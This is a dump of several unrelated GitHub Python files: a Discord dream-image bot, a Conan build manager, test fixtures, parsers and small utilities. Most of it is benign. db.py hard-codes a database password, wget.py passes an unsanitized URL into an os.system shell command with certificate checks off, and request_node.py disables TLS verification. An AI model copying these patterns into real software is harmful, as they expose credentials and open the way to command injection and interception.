for multi_loc_id in product_id.multi_bin_ids:\n                if multi_loc_id.storage_type == 'primary' and primary:\n                    return False\n                elif multi_loc_id.storage_type == 'primary':\n                    primary = True\n        return True\n\n    def get_location_ids(self, cr, uid, ids, context=None):\n        if context is None:\n            context = {}\n\n        location_ids = super(product_product, self).get_location_ids(cr, uid, ids, context=context) + [\n            b.location_id.id for p in self.browse(cr, uid, ids, context=context) for b in p.multi_bin_ids\n        ]\n\n        return location_ids\n\n    _constraints = [\n        #(_check_storage_type, 'You cannot create more than one multilocation lines with storage type primary.', ['Storage Type'] )\n        ]\n    \n# vim:expandtab:smartindent:tabstop=4:softtabstop=4:shiftwidth=4:","repo_name":"ryepdx/hotp_stock","sub_path":"product.py","file_name":"product.py","file_ext":"py","file_size_in_byte":3590,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"79"}
+{"seq_id":"13615918670","text":"#\n# See https://github.com/dials/dials/wiki/pytest for documentation on how to\n# write and run pytest tests, and an overview of the available features.\n#\n\n\nfrom __future__ import annotations\n\nimport multiprocessing\nimport os\nimport sys\nimport warnings\n\nimport pytest\n\n# https://stackoverflow.com/a/40846742\nwarnings.filterwarnings(\"ignore\", message=\"numpy.dtype size changed\")\nwarnings.filterwarnings(\"ignore\", message=\"numpy.ufunc size changed\")\n\nif sys.version_info[:2] == (3, 7) and sys.platform == \"darwin\":\n    multiprocessing.set_start_method(\"forkserver\")\n\ncollect_ignore = []\n\n\ndef pytest_configure(config):\n    if not config.pluginmanager.hasplugin(\"dials_data\"):\n\n        @pytest.fixture(scope=\"session\")\n        def dials_data():\n            pytest.skip(\"This test requires the dials_data package to be installed\")\n\n        globals()[\"dials_data\"] = dials_data\n\n\n@pytest.fixture(scope=\"session\")\ndef dials_regression():\n    \"\"\"Return the absolute path to the dials_regression module as a string.\n    Skip the test if dials_regression is not installed.\"\"\"\n\n    if \"DIALS_REGRESSION\" in os.environ:\n        return os.environ[\"DIALS_REGRESSION\"]\n\n    try:\n        import dials_regression as dr\n\n        return os.path.dirname(dr.__file__)\n    except ImportError:\n        pass  # dials_regression not configured\n    try:\n        import socket\n\n        reference_copy = \"/dls/science/groups/scisoft/DIALS/repositories/git-reference/dials_regression\"\n        if (\n            os.name == \"posix\"\n            and socket.gethostname().endswith(\".diamond.ac.uk\")\n            and os.path.exists(reference_copy)\n        ):\n            return reference_copy\n    except ImportError:\n        pass  # Cannot tell whether in DLS network or not\n    pytest.skip(\"dials_regression required for this test\")\n\n\n@pytest.fixture\ndef run_in_tmpdir(tmpdir):\n    \"\"\"Shortcut to create a temporary directory and then run the test inside\n    this directory.\"\"\"\n    cwd = os.getcwd()\n    tmpdir.chdir()\n    yield tmpdir\n    os.chdir(cwd)\n","repo_name":"ndevenish/dials","sub_path":"conftest.py","file_name":"conftest.py","file_ext":"py","file_size_in_byte":2018,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"79"}
+{"seq_id":"6706624149","text":"import os\nimport signal\n\n# return True if success\ndef wget(url, dir, retry = 0, timeout = 5):\n    cmd = \"wget --no-check-certificate --retry-connrefused --waitretry=1 --read-timeout={} --timeout={} -t {} -P {} {}\".format(timeout, timeout, retry, dir, url)\n    ret = os.system(cmd)\n\n    # exit if received SIGINT\n    if os.WIFSIGNALED(ret) and os.WTERMSIG(ret) == signal.SIGINT:\n        raise KeyboardInterrupt()\n\n    return ret == 0\n","repo_name":"zhengyao-lin/build0","sub_path":"wget.py","file_name":"wget.py","file_ext":"py","file_size_in_byte":433,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"79"}
+{"seq_id":"22543089862","text":"# looks at each log once so O(n), where n is len(logs)\nclass Solution:\n    def minOperations(self, logs: List[str]) -> int:\n        ans = 0\n        for x in logs:\n            if x == \"../\":\n                ans = max(0, ans - 1)\n            elif x != \"./\":\n                ans +=1\n        return ans","repo_name":"pickdani/leetcode","sub_path":"Algorithms/easy/crawler-log-folder.py","file_name":"crawler-log-folder.py","file_ext":"py","file_size_in_byte":298,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"79"}
+{"seq_id":"43098393895","text":"import requests\n\n# 存储node节点连接ip\n__NodeAPN = None\n\n# 设置的代理\n__proxy = None\n\n# 设置请求头\n__APNToken = None\n# 会话\n__session = requests.Session()\n\nrequests.packages.urllib3.disable_warnings()\n\n\n# get请求\ndef __get(url, params):\n    __headers = {\n        'APNToken': __APNToken\n    }\n\n    return __session.get(__NodeAPN + url, params=params, headers=__headers, verify=False)\n\n\n# get请求返回json\ndef __get_with_json(url, params):\n    __headers = {\n        'APNToken': __APNToken\n    }\n    return __session.get(__NodeAPN + url, params=params, headers=__headers, verify=False).json()\n","repo_name":"NEUAutonomousDriving408/CIVCAutonomousDriving","sub_path":"ADCPlatform/request_node.py","file_name":"request_node.py","file_ext":"py","file_size_in_byte":612,"program_lang":"python","lang":"en","doc_type":"code","stars":42,"dataset":"github-code","pt":"79"}
+{"seq_id":"43146176459","text":"import cv2\nimport imutils\n\norg_img = cv2.imread('ljs.png')\n\n# 1. find OpenCV functions by name\nimutils.find_function(\"contour\")\n'''\n1. contourArea\n2. drawContours\n3. findContours\n4. isContourConvex\n\n-> cv.contourArea\n'''\n\n# 2. Translation\ntranslate_img = imutils.translate(org_img, 20, -75)\n'''\ncv.warpAffine \n\nx=25 pixels to the right,\ny=75 pixels up\n'''\n\n# 3. Rotation\nfor angle in range(0, 360, 90):\n    rotate_img = imutils.rotate(org_img, angle=angle)\n    cv2.imshow(\"Angle: %d\" % (angle), rotate_img)\n'''\ncv.gerRotationMatrix2D\n\n'''\n# 4. Resizing\nfor size in (400, 300, 200, 100):\n    resize_img = imutils.resize(org_img, width=size, height=size/2)\n\n# 5. Skeletonization\ngray = cv2.cvtColor(org_img,cv2.COLOR_BGR2GRAY)\nskeleton_image = imutils.skeletonize(gray, size=(2,3))\ncv2.imshow(\"Skeleton\", skeleton_image)\n\n# 6. display with matplotlib\n'''cv.imshow\n\n'''\n\n","repo_name":"jslee314/EyeRecognition_Eigenface","sub_path":"Source/imutils_start.py","file_name":"imutils_start.py","file_ext":"py","file_size_in_byte":868,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"79"}
+{"seq_id":"39272054601","text":"from asyncio.tasks import sleep\nfrom collections import deque\n\nimport discord\nfrom discord.ext.commands.core import command\nfrom dreamWorker import DreamJob, DreamParams, DreamWorker\nimport os\nimport logging\nimport asyncio\nimport functools\nimport glob\nimport typing\nimport shutil\nfrom datetime import datetime\nfrom discord import User, user\nfrom discord.ext import commands\n#from dotenv import load_dotenv\n\nCMD_PREFIX = os.getenv('COMMAND_PREFIX')\nDISCORD_TOKEN = os.getenv('DISCORD_TOKEN')\n\n\nIMAGE_WIDTH = int(os.getenv('IMAGE_WIDTH'))\nNUM_LAYERS = int(os.getenv('NUM_LAYERS'))\nBATCH_SIZE = int(os.getenv('BATCH_SIZE'))\nGRADIENT_ACCUMULATE_EVERY = int(os.getenv('GRADIENT_ACCUMULATE_EVERY'))\nEPOCHS = int(os.getenv('EPOCHS'))\nITERATIONS = int(os.getenv('ITERATIONS'))\nSAVE_GIF = bool(os.getenv('SAVE_GIF'))\nSAVE_EVERY = int(os.getenv('SAVE_EVERY'))\n\ndreamParams = DreamParams(IMAGE_WIDTH, NUM_LAYERS, BATCH_SIZE,\n                          GRADIENT_ACCUMULATE_EVERY, EPOCHS, ITERATIONS, SAVE_GIF, SAVE_EVERY)\n\n\nuserQueue = deque()\njobQueue = deque()\nuserJobs = {}\n\n\nlogging.basicConfig(\n    handlers=[logging.FileHandler('dreamBot.log', 'a', 'utf-8')],\n    level=logging.INFO,\n    format='%(asctime)s [%(levelname)s] - %(message)s'\n)\nlogger = logging.getLogger()\n\n\nbot = commands.Bot(command_prefix=CMD_PREFIX)\n\n@bot.command(name='dream', help='Adds a dream to the queue.', pass_context=True)\nasync def addDreamToQueue(ctx:commands.Context, dreamText:str):\n    if ctx.author.id in userQueue:\n        await(ctx.send(\"You are already in the queue, please wait.\"))\n        return\n    if not dreamText:\n        await(ctx.send(\"No dream text was provided. Nothing was submitted\"))\n        return\n    userQueue.append(ctx.author.id)\n    print(userQueue)\n    newDreamJob = DreamJob(ctx, dreamText)\n    jobQueue.append(newDreamJob)\n    userJobs[ctx.author.id] = newDreamJob\n    await(ctx.send('Added dream \"{}\" to queue.'.format(dreamText)))\n    return\n\n@bot.command(name='remove', help='Removes the users current dream.', pass_context=True)\nasync def removeDreamFromQueue(ctx:commands.Context):\n    if ctx.author.id not in userQueue:\n        await(ctx.send(\"You are not currently in the queue, removing nothing.\"))\n        return\n    userQueue.remove(ctx.author.id)\n    print(userQueue)\n    oldDreamText = userJobs[ctx.author.id].dreamText\n    jobQueue.remove(userJobs[ctx.author.id])\n    userJobs[ctx.author.id] = None\n    await(ctx.send('Removed dream \"{}\" from queue.'.format(oldDreamText)))\n\n@bot.command(name='change', help='Changes the users current dream.', pass_context=True)\nasync def changeDreamFromQueue(ctx:commands.Context, dreamText:str):\n    if ctx.author.id not in userQueue:\n        await(ctx.send(\"You are not currently in the queue, changing nothing.\"))\n        return\n    if not dreamText:\n        await(ctx.send(\"No dream text was provided. Nothing was submitted\"))\n        return\n    queuePosition = userQueue.index(ctx.author.id)\n    oldDreamText = jobQueue[queuePosition].dreamText\n\n    newDreamJob = DreamJob(ctx, dreamText)\n    jobQueue[queuePosition] = newDreamJob\n    userJobs[ctx.author.id] = newDreamJob\n    await(ctx.send('Changed dream in queue from \"{}\" to \"{}\".'.format(oldDreamText, dreamText)))\n\n@bot.event\nasync def on_ready():\n    logger.info(f'{bot.user} has connected to Discord!')\n    print(f'{bot.user} has connected to Discord!')\n    bot.loop.create_task(checkQueue())\n\n\nasync def checkQueue():\n    await bot.wait_until_ready()\n    while not bot.is_closed():\n        if not userQueue:\n            logger.info(\"No requests in queue, sleeping for now\")\n            await asyncio.sleep(5)\n            continue\n        await processQueueEntry()\n\n\nasync def processQueueEntry():\n    currentJob: DreamJob\n    currentJob = jobQueue.popleft()\n    currentUser: str\n    currentUser = userQueue.popleft()\n    userJobs[currentUser] = None\n    dreamImage = await createDreamTask(runDream, currentJob)\n    await sendImage(dreamImagePath=dreamImage, dreamText=currentJob.dreamText, discordContext=currentJob.discordContext)\n    await cleanUpDir(dreamImage=dreamImage, currentUser=currentUser)\n\n\nasync def cleanUpDir(dreamImage: str, currentUser: str):\n    if not os.path.exists(f'images/{currentUser}/'):\n        os.makedirs(f'images/{currentUser}/')\n    now = datetime.now()\n    currentDate = now.strftime(\"%d-%m-%Y_%H-%M-%S\")\n    destPath = f'images/{currentUser}/{dreamImage}-{currentDate}'\n    os.mkdir(destPath)\n    # shutil.copy2(f'{dreamImage}.jpg',f'{destPath}/{dreamImage}.jpg')\n    for image in glob.glob(f'{dreamImage}*.jpg'):\n        shutil.move(image, f'{destPath}/{image}')\n    if os.path.exists(f'{dreamImage}.gif'):\n        shutil.move(f'{dreamImage}.gif', f'{destPath}/{dreamImage}.gif')\n    return\n\n# Solution for running a blocking function in a non-blocking way\n# taken from: https://stackoverflow.com/a/65882269\n\n\nasync def createDreamTask(runDream: typing.Callable, *args, **kwargs) -> typing.Any:\n    func = functools.partial(runDream, *args, **kwargs)\n    return await bot.loop.run_in_executor(None, func)\n\n\ndef runDream(dreamJob: DreamJob):\n    dreamText = dreamJob.dreamText\n    dreamWorker = DreamWorker(dreamText=dreamText,dreamParams=dreamParams)\n    dreamImage = dreamWorker.runDream()\n    print(dreamImage)\n    return dreamImage\n\n\nasync def sendImage(dreamImagePath: str, dreamText: str, discordContext: commands.Context):\n    dreamImage = discord.File(fp=f'{dreamImagePath}.jpg')\n    await discordContext.reply(f'\"{dreamText}\":', file=dreamImage, mention_author=True)\n\n\nif __name__ == \"__main__\":\n    bot.run(DISCORD_TOKEN)\n    pass\n","repo_name":"cooldudemcgeexl/dreamBot","sub_path":"dreamBot.py","file_name":"dreamBot.py","file_ext":"py","file_size_in_byte":5586,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"79"}
+{"seq_id":"43588810651","text":"\"\"\"Validate a database of Pokemon TCG cards.\n\nCheck that names, ids, and img_ids match up, that only the correct elements are\nused, etc.\n\nThis file should not be imported.\n\"\"\"\n\nimport json\nimport hashlib\n\nfrom cv2 import sort\n\nfrom pkmn import Energy\nfrom moves import move_by_id\n\nFILEPATH = \"assets/data/pkmn_fs.json\"\n\nwith open(FILEPATH, 'r', encoding='utf-8') as f:\n    PKMN = json.load(f)\n\ndef validate_pkmn(id, p):\n    \"\"\"Print any inconsistencies that might show up for this Pokemon.\n    \n    Parameters:\n\n        id - dict key in format \"ss###_________\"\n\n        p  - dict of the Pokemon with attributes name, img_id, etc.\n    \"\"\"\n    printed_name = False\n    def _print(s):\n        nonlocal printed_name\n        if not printed_name:\n            print(f\"-- {id} --\")\n            printed_name = True\n        print(s)\n\n    # name appears in id, in lowercase\n    if ''.join(p['name'].split()).lower() != id[5:]:\n        _print(f\"Name {p['name']} does not appear in id {id}.\")\n    \n    # img_id is id\n    if p['img_id'] != id:\n        _print(f\"Image id {p['img_id']} does not equal id {id}.\")\n    \n    # max hp is above 0 and divisible by 10\n    if p['max_hp'] <= 0:\n        _print(f\"HP {str(p['max_hp'])} is too low.\")\n    if p['max_hp'] % 10:\n        _print(f\"HP {str(p['max_hp'])} is not divisible by 10.\")\n\n    # element is valid\n    if p['element'] not in Energy.NAMES + ['dragon', 'colorless']:\n        _print(f\"Element {p['element']} is invalid.\")\n    \n    for move in p['moves']:\n            \n        # energy elements are valid\n        for energy in move['energy']:\n            if energy not in Energy.NAMES + ['colorless']:\n                _print(f\"Energy {energy} is invalid.\")\n        \n        # damage is above 0 and divisible by 10\n        if 'damage' in move:\n            if move['damage'] == 0:\n                _print(f\"Move {move['name']} has 0 damage. To keep this,\"\n                        \" delete the damage attribute.\"\n                )\n            if move['damage'] < 0:\n                _print(f\"Move {move['name']} damage is too low.\")\n            if move['damage'] % 10:\n                _print(f\"Move {move['name']} damage is not divisible by 10.\")\n        \n        # text has been hash-id'ed\n        if 'text' in move:\n            h = hashlib.blake2b(key=b'pkmn', digest_size=10)\n            h.update(move['text'].encode('utf-8'))\n            m = h.hexdigest()\n            if 'move_id' not in move or move['move_id'] != m:\n                _print(f\"Move {move['name']} id set to {m}.\")\n                move['move_id'] = m\n            elif move_by_id(m) is None:\n                _print(f\"Move {move['name']} needs to be programmed in\"\n                        \" `moves`.\")\n    \n    if 'weakness' in p:\n\n        # weakness element is valid\n        if p['weakness']['element'] not in Energy.NAMES + ['dragon']:\n            _print(f\"Weakness to {p['weakness']['element']} is invalid.\")\n        \n        # lambda function is valid\n        op = p['weakness']['lambda'][0]\n        nu = p['weakness']['lambda'][1:]\n        if op not in \"x*-+/\":\n            _print(f\"Weakness lambda function has invalid operator {op}.\")\n        if not nu.isnumeric():\n            _print(f\"Weakness lambda function has invalid number {nu}.\")\n    \n    if 'resistance' in p:\n\n        # resistance element is valid\n        if p['resistance']['element'] not in Energy.NAMES + ['dragon']:\n            _print(f\"Resistance to {p['resistance']['element']} is invalid.\")\n        \n        # lambda function is valid\n        op = p['resistance']['lambda'][0]\n        nu = p['resistance']['lambda'][1:]\n        if op not in \"x*-+/\":\n            _print(f\"Resistance lambda function has invalid operator {op}.\")\n        if not nu.isnumeric():\n            _print(f\"Resistance lambda function has invalid number {nu}.\")\n\nif __name__ == \"__main__\":\n    for id in PKMN:\n        validate_pkmn(id, PKMN[id])\n    with open(FILEPATH, 'w', encoding='utf-8') as f:\n        json.dump(PKMN, f, indent=4, sort_keys=True)\n","repo_name":"brightp-py/pkmn-frontline","sub_path":"validate_data.py","file_name":"validate_data.py","file_ext":"py","file_size_in_byte":3995,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"79"}
+{"seq_id":"8355811897","text":"# -*- coding: utf-8 -*-\n# File              : db.py\n# Author            : tjh\n# Create Date       : 2020/08/12\n# Last Modified Date: 2020/08/12\n# Last Modified By  : tjh\n# Reference         :\n# Description       :\n# ******************************************************\n\nimport pymysql\n\nDB_BASIC = {\n    'host': '192.168.1.122',\n    'port': 9306,\n    'user': 'root',\n    'password': 'ZZfwq@2020',\n    'database': 'model_set',\n    'charset': 'utf8',\n    'autocommit': True,\n    'connect_timeout': 3,\n    'read_timeout': 10,\n    'write_timeout': 5\n}\n# con = pymysql.connect(**DB_BASIC)\n\ndata1 = [{'columns': [{'name': 'cycle', 'param': 'p1', 'rel': 'count'}],\n          'conditions': [{'condition_param': '2020-01-01 09:00:00', 'condition_rel': '>', 'name': 'time'},\n                         {'condition_param': '太子路', 'condition_rel': '=', 'name': 'road'}],\n          'table_ID': 'tab_cycle_track'}]\n\ndata2 = [\n    {'columns': [{'name': 'speed', 'param': 'p1', 'rel': 'avg'}, {'name': 'track_record', 'param': 'p2', 'rel': 'max'}],\n     'conditions': [{'condition_param': '2020-01-01 09:00:00', 'condition_rel': '>', 'name': 'time'},\n                    {'condition_param': '太子路', 'condition_rel': '=', 'name': 'road'}], 'table_ID': 'tab_online_order'},\n    {'columns': [{'name': 'number_of_road', 'param': 'p3', 'rel': 'max'},\n                 {'name': 'traffic_light', 'param': 'p4', 'rel': 'min'}],\n     'conditions': [{'condition_param': '2020-01-01 09:00:00', 'condition_rel': '>', 'name': 'time'}],\n     'table_ID': 'tab_traffic_light'}]\n\nfor tab in data2:\n    print(tab['table_ID'])\n","repo_name":"tjhlp/personal_exe","sub_path":"test_ex/db.py","file_name":"db.py","file_ext":"py","file_size_in_byte":1602,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"41852178786","text":"import struct\r\nfrom recordclass import recordclass\r\n\r\nfrom pyxenoverse import BaseRecord\r\nfrom pyxenoverse.bdm.subentry.type0 import Type0\r\n\r\nBDMEntry = recordclass('BDMEntry', ['id'])\r\n\r\n\r\nclass Entry(BaseRecord):\r\n    def __init__(self, sub_entry_type=Type0, entry_id=0):\r\n        super().__init__()\r\n        self.sub_entries = []\r\n        self.sub_entry_type = sub_entry_type\r\n        self.data = BDMEntry(entry_id)\r\n        for i in range(10):\r\n            self.sub_entries.append(self.sub_entry_type())\r\n\r\n    def read(self, f, endian):\r\n        self.data = BDMEntry(*struct.unpack(endian + 'I', f.read(4)))\r\n        self.sub_entries = []\r\n        for idx in range(10):\r\n            sub_entry = self.sub_entry_type()\r\n            sub_entry.read(f, endian)\r\n            self.sub_entries.append(sub_entry)\r\n\r\n    def write(self, f, endian):\r\n        f.write(struct.pack(endian + 'I', *self.data))\r\n        for sub_entry in self.sub_entries:\r\n            sub_entry.write(f, endian)\r\n\r\n    def convert_type1_to_type0(self, type1):\r\n        self.id = type1.id\r\n        for n, sub_entry in enumerate(self.sub_entries):\r\n            sub_entry.convert_type1_to_type0(type1.sub_entries[n])\r\n\r\n    def paste(self, other):\r\n        self.sub_entries.clear()\r\n        self.sub_entries.extend(other.sub_entries)\r\n","repo_name":"KyonkoYuuki/pyxenoverse","sub_path":"pyxenoverse/bdm/entry.py","file_name":"entry.py","file_ext":"py","file_size_in_byte":1304,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"77"}
+{"seq_id":"35014814797","text":"import json\nimport re\n\nfrom sonja.config import logger\nfrom sonja.database import session_scope, Session\nfrom sonja.model import Build, CommitStatus, Commit, Package, RecipeRevision, missing_package, BuildStatus, \\\n    missing_recipe, Recipe, Ecosystem\nfrom sonja.redis import RedisClient\nfrom typing import List\n\n\nclass Manager(object):\n    def __init__(self, redis_client: RedisClient):\n        self.__redis_client = redis_client\n\n    def __revision_from_recipe_id(self, recipe_id):\n        m = re.match(\"[\\\\w\\\\+\\\\.-]+/[\\\\w\\\\+\\\\.-]+(?:@\\\\w+/\\\\w+)?(#(\\\\w+))?\", recipe_id)\n        if m:\n            return m.group(2) if m.group(2) else \"\"\n        else:\n            logger.error(\"Invalid recipe ID '%s'\", recipe_id)\n            return None\n\n    def __process_recipe(self, session: Session, name: str, version: str, user: str, channel: str,\n                         ecosystem: Ecosystem) -> Recipe:\n        ecosystem_id = ecosystem.id\n        recipe = session.query(Recipe).filter_by(\n            ecosystem_id=ecosystem_id,\n            name=name,\n            version=version,\n            user=user,\n            channel=channel\n        ).first()\n\n        if not recipe:\n            recipe = Recipe()\n            recipe.ecosystem = ecosystem\n            recipe.name = name\n            recipe.version = version\n            recipe.user = user\n            recipe.channel = channel\n            session.add(recipe)\n\n        logger.debug(\"Process recipe '%s' ('%s/%s@%s/%s')\", recipe.id, recipe.name, recipe.version,\n                     recipe.user, recipe.channel)\n        return recipe\n\n    def __process_recipe_revision(self, session: Session, name: str, version: str, user: str, channel: str,\n                                  revision: str, ecosystem: Ecosystem) -> RecipeRevision:\n        recipe = self.__process_recipe(session, name, version, user, channel, ecosystem)\n        if not recipe:\n            return None\n\n        recipe_revision = session.query(RecipeRevision).filter_by(\n            recipe_id=recipe.id,\n            revision=revision\n        ).first()\n\n        if not recipe_revision:\n            recipe_revision = RecipeRevision()\n            recipe_revision.recipe = recipe\n            recipe_revision.revision = revision\n            session.add(recipe_revision)\n\n        logger.debug(\"Process recipe revision '%s' (revision: '%s')\", recipe_revision.id, recipe_revision.revision)\n        return recipe_revision\n\n    def __process_package(self, session: Session, package_id: str, recipe_revision: RecipeRevision)\\\n            -> Package:\n        package = session.query(Package).filter_by(\n            package_id=package_id,\n            recipe_revision_id=recipe_revision.id\n        ).first()\n\n        if not package:\n            package = Package()\n            package.package_id = package_id\n            package.recipe_revision = recipe_revision\n            session.add(package)\n\n        logger.debug(\"Process package '%s' (ID: '%s')\", package.id, package.package_id)\n        return package\n\n    def __trigger_builds_for_recipe(self, session: Session, recipe: Recipe):\n        logger.debug(\"Trigger builds for recipe '%s' ('%s/%s@%s/%s')\", recipe.id, recipe.name, recipe.version,\n                     recipe.user, recipe.channel)\n\n        # get all failed builds which are waiting for this recipe\n        builds = session.query(Build).filter(Build.status == BuildStatus.error).\\\n            filter(missing_recipe.columns['build_id'] == Build.id).\\\n            filter(missing_recipe.columns['recipe_id'] == recipe.id).\\\n            filter(Build.commit_id == Commit.id).\\\n            filter(Commit.status == CommitStatus.building).\\\n            all()\n\n        # re-trigger these builds\n        for build in builds:\n            logger.info(\"Set status of build '%d' to 'new'\", build.id)\n            build.status = BuildStatus.new\n\n        session.commit()\n        if builds:\n            self.__redis_client.publish_build_updates(builds)\n\n        return builds\n\n    def __trigger_builds_for_package(self, session: Session, package: Package):\n        logger.debug(\"Trigger builds for package '%s' (ID: '%s')\", package.id, package.package_id)\n\n        # Get all failed builds which are waiting a package of the same recipe revision. In these cases the package ID\n        # should match exactly.\n        same_recipe_revision = session.query(Build).filter(Build.status == BuildStatus.error).\\\n            filter(missing_package.columns['build_id'] == Build.id).\\\n            filter(missing_package.columns['package_id'] == package.id).\\\n            filter(Build.commit_id == Commit.id).\\\n            filter(Commit.status == CommitStatus.building).\\\n            all()\n\n        # Get all failed builds which are waiting for a package of the same recipe but a different recipe revision.\n        # In these cases a build is triggered regardless of the exact package ID (because the package ID might be\n        # computed differently for a different recipe revision).\n        different_recipe_revision = session.query(Build).\\\n            filter(Build.status == BuildStatus.error).\\\n            filter(missing_package.columns['build_id'] == Build.id).\\\n            filter(missing_package.columns['package_id'] == Package.id).\\\n            filter(Build.commit_id == Commit.id).\\\n            filter(Commit.status == CommitStatus.building).\\\n            filter(Package.recipe_revision_id == RecipeRevision.id).\\\n            filter(RecipeRevision.revision != package.recipe_revision.revision).\\\n            filter(RecipeRevision.recipe_id == package.recipe_revision.recipe.id).\\\n            all()\n\n        # re-trigger these builds\n        builds = same_recipe_revision + different_recipe_revision\n        for build in builds:\n            logger.info(\"Set status of build '%d' to 'new'\", build.id)\n            build.status = BuildStatus.new\n\n        session.commit()\n        if builds:\n            self.__redis_client.publish_build_updates(builds)\n\n        return builds\n\n    def __extract_required_packages(self, session: Session, lock_data: dict, ecosystem: Ecosystem) -> List[Package]:\n        packages = []\n        root = lock_data[\"0\"]\n        for requirement in root.get(\"requires\", []) + root.get(\"build_requires\", []):\n            recipe_id = lock_data[requirement][\"ref\"]\n            m = re.match(\"([\\\\w\\\\+\\\\.-]+)/([\\\\w\\\\+\\\\.-]+)(?:@(\\\\w+)/(\\\\w+))?(#(\\\\w+))?\", recipe_id)\n            if m:\n                name = m.group(1)\n                version = m.group(2)\n                user = m.group(3)\n                channel = m.group(4)\n                recipe_revision = m.group(6)\n            else:\n                logger.error(\"Invalid recipe ID '%s'\", recipe_id)\n                return None\n            package_id = lock_data[requirement][\"package_id\"]\n            recipe_revision = self.__process_recipe_revision(session, name, version, user, channel,\n                                                             recipe_revision, ecosystem)\n            package = self.__process_package(session, package_id, recipe_revision)\n            packages.append(package)\n\n        return packages\n\n    def process_success(self, build_id, build_output) -> dict:\n        result = dict()\n\n        try:\n            create_data = json.loads(build_output[\"create\"])\n        except KeyError:\n            logger.error(\"Failed to obtain JSON output of the Conan create stage for build '%d'\", build_id)\n            return result\n\n        try:\n            lock_data = json.loads(build_output[\"lock\"])[\"graph_lock\"][\"nodes\"]\n        except KeyError:\n            logger.error(\"Failed to obtain JSON output of the Conan lock for build '%d'\", build_id)\n            return result\n\n        with session_scope() as session:\n            build = session.query(Build).filter_by(id=build_id).first()\n            build.package = None\n            build.recipe_revision = None\n            build.missing_recipes = []\n            build.missing_packages = []\n            for recipe_compound in create_data[\"installed\"]:\n                recipe_data = recipe_compound[\"recipe\"]\n                if recipe_data[\"dependency\"]:\n                    continue\n\n                name = recipe_data[\"name\"]\n                version = recipe_data[\"version\"]\n                user = recipe_data.get(\"user\", None)\n                channel = recipe_data.get(\"channel\", None)\n                revision = self.__revision_from_recipe_id(recipe_data[\"id\"])\n                recipe_revision = self.__process_recipe_revision(session, name, version, user, channel, revision,\n                                                                 build.profile.ecosystem)\n                if not recipe_revision:\n                    continue\n\n                if build.commit.status == CommitStatus.building:\n                    recipe_revision.recipe.current_revision = recipe_revision\n\n                for package_data in recipe_compound[\"packages\"]:\n                    package_id = package_data[\"id\"]\n                    package = self.__process_package(session, package_id, recipe_revision)\n                    if not package:\n                        continue\n                    build.package = package\n\n                    if self.__trigger_builds_for_package(session, package):\n                        result['new_builds'] = True\n\n                if self.__trigger_builds_for_recipe(session, recipe_revision.recipe):\n                    result['new_builds'] = True\n\n            build.package.requires = self.__extract_required_packages(session, lock_data, build.profile.ecosystem)\n\n            logger.info(\"Updated database for the successful build '%d'\", build_id)\n            return result\n\n    def process_failure(self, build_id, build_output) -> dict:\n        result = dict()\n        try:\n            create_data = json.loads(build_output[\"create\"])\n        except KeyError:\n            logger.info(\"Failed build '%d' contains no JSON output of the Conan create stage\", build_id)\n            return result\n\n        try:\n            lock_data = json.loads(build_output[\"lock\"])[\"graph_lock\"][\"nodes\"]\n        except KeyError:\n            logger.info(\"Failed build '%d' contains no JSON output of the Conan lock\", build_id)\n\n        if not create_data[\"error\"]:\n            logger.info(\"Conan create for failed build '%d' was successful, no missing dependencies\", build_id)\n\n        with session_scope() as session:\n            build = session.query(Build).filter_by(id=build_id).first()\n            build.package = None\n            build.recipe_revision = None\n            build.missing_recipes = []\n            build.missing_packages = []\n            for recipe_compound in create_data[\"installed\"]:\n                recipe_data = recipe_compound[\"recipe\"]\n                name = recipe_data[\"name\"]\n                version = recipe_data[\"version\"]\n                user = recipe_data.get(\"user\", None)\n                channel = recipe_data.get(\"channel\", None)\n                revision = self.__revision_from_recipe_id(recipe_data[\"id\"])\n\n                # This is the reference data for the build. Get the data and continue\n                if not recipe_data[\"dependency\"]:\n                    recipe_revision = self.__process_recipe_revision(session, name, version, user, channel, revision,\n                                                                     build.profile.ecosystem)\n\n                    if build.commit.status == CommitStatus.building:\n                        recipe_revision.recipe.current_revision = recipe_revision\n\n                    for package_data in recipe_compound[\"packages\"]:\n                        package_id = package_data[\"id\"]\n                        package = self.__process_package(session, package_id, recipe_revision)\n                        if lock_data:\n                            package.requires = self.__extract_required_packages(session, lock_data,\n                                                                                build.profile.ecosystem)\n                        build.package = package\n\n                    if not build.package:\n                        build.recipe_revision = recipe_revision\n\n                    continue\n\n                # This is a dependency with missing recipe. Add the missing recipe to the current build and continue\n                if recipe_data[\"error\"] and recipe_data[\"error\"][\"type\"] == \"missing\":\n                    name = recipe_data[\"name\"]\n                    version = recipe_data[\"version\"]\n                    user = recipe_data.get(\"user\", None)\n                    channel = recipe_data.get(\"channel\", None)\n                    recipe = self.__process_recipe(session, name, version, user, channel, build.profile.ecosystem)\n                    build.missing_recipes.append(recipe)\n                    continue\n\n                # dependencies with missing packages remain\n                recipe_revision = self.__process_recipe_revision(session, name, version, user, channel, revision,\n                                                                 build.profile.ecosystem)\n                if not recipe_revision:\n                    continue\n\n                for package_data in recipe_compound[\"packages\"]:\n                    if package_data[\"error\"] and package_data[\"error\"][\"type\"] == \"missing\":\n                        package_id = package_data[\"id\"]\n                        package = self.__process_package(session, package_id, recipe_revision)\n                        build.missing_packages.append(package)\n\n            logger.info(\"Updated database for the failed build '%d'\", build_id)\n            return result\n","repo_name":"uboot/sonja-backend","sub_path":"services/sonja/manager.py","file_name":"manager.py","file_ext":"py","file_size_in_byte":13568,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
